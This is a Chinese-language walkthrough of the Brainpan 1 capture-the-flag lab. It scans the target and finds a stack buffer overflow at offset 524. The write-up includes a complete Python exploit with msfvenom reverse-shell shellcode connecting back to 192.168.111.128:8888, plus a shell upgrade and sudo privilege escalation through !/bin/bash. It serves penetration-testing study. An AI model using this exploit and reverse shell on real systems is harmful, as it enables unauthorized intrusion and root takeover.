1 2 3
| arp-scan -l nmap --min-rate 100000 -p- 192.168.111.140 nmap --min-rate 100000 -p9999,10000 -A 192.168.111.140
dirsearch -u 192.168.111.140:10000 dirb http://192.168.111.140:10000/ nikto -host 192.168.111.140 -p 10000
|

能看到9999端口访问不了也不知道运行的什么服务,10000端口是web服务,里面放了一个图片,同时用dirsearch,dirb,nikto扫一下10000端口,都扫到了/bin

访问后发现/bin/目录就放了一个brainpan.exe文件,这就是提示,提示我们要对这个brainpan.exe进行分析

现在大概明白9999端口怎么用了。需要用nc连接 nc ip port 注意不加:


尝试用IDA pro进行分析,需要用32位的。研究好久,这个太难为我了,看不懂了,参考一下其他师傅的吧

正片开始: 这个靶场要用Windows的PWN 洞来getshell
1 2 3 4 5 6 7 8 9 10 11 12
| 缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
项目十七:brainpan-1,专门考验缓冲区溢出知识,该项目仅仅开放了10000端口作为web端,经过简单的目录爆破就能发现存在brainpan.exe文件,该项目是乌班图环境并且安装了win的模块运行着exe文件,该文件启动了9999端口支撑服务,该环境就和AWD中的PWN题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。
看了一大圈大概明白了,这个靶机是用Linux搭建的,但是通过这个exe文件运行了一个Windows服务,我们只要运行这个exe文件,就能模仿出靶机运行的服务,如果能在本地调试出payload,在靶机中也能使用。
我们需要下载一个软件 immunity debugger(id)(漏洞挖掘+恶意软件分析),在这里我推荐从这里下载,能汉化 https://www.xue51.com/soft/4770.html#xzdz
有师傅通过python brainfuzzer.py 192.168.111.140 9999 ////来检查是否有缓冲区溢出,检查9999端口,就是那个我们不知道具体用途的端口 这一步的目的是借助批量产生的无意义的字符来冲击文件,可以得知是否存在溢出的可能 https://github.com/jessekurrus/brainpan 这里有脚本地址
|
现在模拟本地环境,打开immunity debugger,然后点击文件,把exe导入进去,再点开始,此时我们就能看到在我们本地开了一个等待被连接的9999端口


但是在这里我本地搭建的环境跑不起来,我通过netstat -ano | findstr :9999
查看到PIN为2072的程序在占用9999端口,system启动的


还是继续看靶机的环境吧 这里我们看到字符数到1300以上就中断服务了,那也就是说1300以上就能溢出,同时在immunityDebugger的第一个框也会停止


msfconsole: locate pattern_create.rb //找一下pattern_create.rb,生成1300位可以反查的字符
1 2 3
| /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1300 但是不行,看了别的师傅,他们都是10000.。。我也只好改成1000 复制粘贴下来然后放法到brainpan1.py在运行 python2 brainpan1.py 192.168.111.140 9999
|

1 2 3 4
| 到这就可以看到 EIP变成35724134 35 72 41 34因为两个字节是一个字符,所以这样分开 然后计算机中内存的地址按照由低到高的顺序排列存放 也就是说放在最下面的是最先放的 那也就是说实际上的顺序是 34 41 72 35 所以这一组EBP(基底地址)的第一组字节(第一个字符)应该是34,对应的ACSII也就是4Ar5 --通过查找前面生成的1000位反查字符也能知道是在524位
继续来到msfconsole通过 locate pattern_offset.rb //找一下pattern_offset.rb ,/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134 ---反查溢出点 溢出点在524位
|


1 2
| 查看shellcode空间大小--思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行,接下来将寻找可存放shellcode的内存空间是多少! 也就是说 524个字节填满他正常的内存空间,而后就会造成溢出,用B填满他的指向(四个字符),剩下整这么多C就是shellcode的内存可存放大小,借助工具我们就可以知道shellcode可以放多少字节(也就是说我们要知道他最终的内存中保留下来了多少C) python2 brainpan2.py 192.168.111.140 9999
|

1
| 我们这就看到了,查找ASCII表知道了EIP均被B覆盖,EBP均被A覆盖,ESP的位置右键 Follow in dump在左下视图右键选择HEX-HEX/ASCII(16),选择16个字节一行观察
|



1 2 3 4 5 6
| 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途: 1\. 返回地址、shellcode、buffer中都不能出现坏字符 2\. null byte (0x00)空字符,用于终止字符串的拷贝操作 3\. return (0x0D)回车操作,表示POP3 PASS命令输入完成 因为在不同的协议,功能,等情况下,对于坏字符的敏感度不同,有些不管,有些要管,为了避免这个问题,我们就一刀切,全部排除坏字符 发送0x00–0xff 256个字符,查找所有坏字符 python2 brainpan3.py 192.168.111.140 9999
|


1 2 3 4 5 6 7 8 9
| 从右往左读,发现均为正常显示,除了0x00,因为无论何时何地,他都是坏字符
因为ESP的地址会变化,这是系统的保护机制,所以我们要找一种可以精确的百分百定位到shellcode的东西,这个东西是JMP ESP 接着引入mona脚本(识别内存模块的脚本)!mona modules #### jmp esp定位 利用nasm_shell.rb查看jmp esp的地址! locate nasm_shell /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp esp 00000000 FFE4 jmp esp 右键搜索命令 看到存在jmp esp ,它的地址是 311712F3
|

1 2 3 4 5 6 7 8
| 利用mona脚本来查找当前文件中jmp esp的存在位置
!mona find -s “\xff\xe4” -m brainpan.exe
得到结果如下 311712F3 获得是JMP ESP地址 :0x311712F3
最上面ASLR等是保护机制,我们要找一个均是false的,往回看就是这个exe文件,在实际操作中也可能是DLL进程文件,具体问题具体分析
|

1 2
| 生成linux的反弹shell msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.111.128 lport=8888 -b "/x00" -f c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| pyload: import socket,time,sys try: client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('192.168.111.140', 9999)) buf = ("\xdb\xce\xd9\x74\x24\xf4\x58\xbe\x16\x44\x37\x54\x31\xc9" "\xb1\x12\x31\x70\x17\x03\x70\x17\x83\xd6\x40\xd5\xa1\xe7" "\x93\xee\xa9\x54\x67\x42\x44\x58\xee\x85\x28\x3a\x3d\xc5" "\xda\x9b\x0d\xf9\x11\x9b\x27\x7f\x53\xf3\x77\xd7\xcc\x83" "\x10\x2a\x13\xa1\x58\xa3\xf2\x15\xfe\xe4\xa5\x06\x4c\x07" "\xcf\x49\x7f\x88\x9d\xe1\xee\xa6\x52\x99\x86\x97\xbb\x3b" "\x3e\x61\x20\xe9\x93\xf8\x46\xbd\x1f\x36\x08")
msg = "\x41"*524 + "\xf3\x12\x17\x31"+ "\x90"*50 + buf client.send(bytes(msg+ "\r\n", "latin-1")) print("[+] payload send successful") client.close() time.sleep(5) except : print("连接终止") sys.exit() 分析一下这个payload: JMP ESP 内存地址:\xf3\x12\x17\x31c 1.524个A用来覆盖掉正常的内存空间, 2.\xf3\x12\x17\x31c是JMP ESP的地址用来指向shellcode; 3.后面一大串整型乘\x90是去掉nop空地址(这一段相当于啥也没有,要去掉) 4.再加上msf生成的反弹shell 这个脚本要用python3运行
|
现在就getshell,获得交互式shel python -c 'import pty;pty.spawn("/bin/bash")'
提权 /home/anansi/bin/anansi_util
这个文件不需要密码可以用root权限运行

看起来这个anansi_util文件实际功能和vim、less差不多,尝试直接输入!/bin/bash进行提取


总结
通过nmap发现目标开放了9999、10000两个端口,通过对10000端口进行常规的web渗透测试,发现了在/bin目录下有一个可执行文件。
下载下来文件进行观察,发现这个文件就是运行在9999端口的服务,通过对缓冲区溢出漏洞的发现和利用,成功获得了系统立足点,利用sudo -l看到有一个可执行程序可以利用进行提权
Slogan:
Do you believe in DESTINY?